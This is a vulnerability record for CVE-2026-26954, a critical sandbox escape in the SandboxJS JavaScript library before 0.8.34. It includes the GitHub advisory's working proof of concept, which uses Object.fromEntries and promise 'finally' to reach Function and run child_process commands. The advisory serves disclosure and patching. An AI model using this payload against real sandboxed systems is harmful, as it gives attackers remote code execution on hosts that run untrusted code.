10.0critical
SandboxJS has a Sandbox Escape
- Severity
- 10.0critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.62% (higher than 51% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-6r9f-759j-hjgv
Description
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| nyariv SandboxJS | < 0.8.34, before 0.8.34 | CVE List, NVD |
| @nyariv/sandboxjs (npm) | before 0.8.34 | GitHub Advisory Database |
All scores
| GitHub_M | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.
GitHub Advisory Database
Summary
It is possible to obtain arrays containing Function, which allows escaping the sandbox.
Details
There are various ways to get an array containing Function, e.g.
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.
PoC
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();
Impact
Sandbox Escape -> RCE
NVD (es)
SandboxJS es una biblioteca de sandboxing de JavaScript. Antes de 0.8.34, es posible obtener arrays que contienen Function, lo que permite escapar del sandbox. Dado un array que contiene Function, y Object.fromEntries, es posible construir {[p]: Function} donde p es cualquier propiedad construible. Esta vulnerabilidad se corrige en la versión 0.8.34.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-26954 changed 2026-03-16 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6r9f-759j-hjgv changed 2026-03-16 | CC-BY-4.0 |
| NVD | CVE-2026-26954 changed 2026-06-17 | Public domain |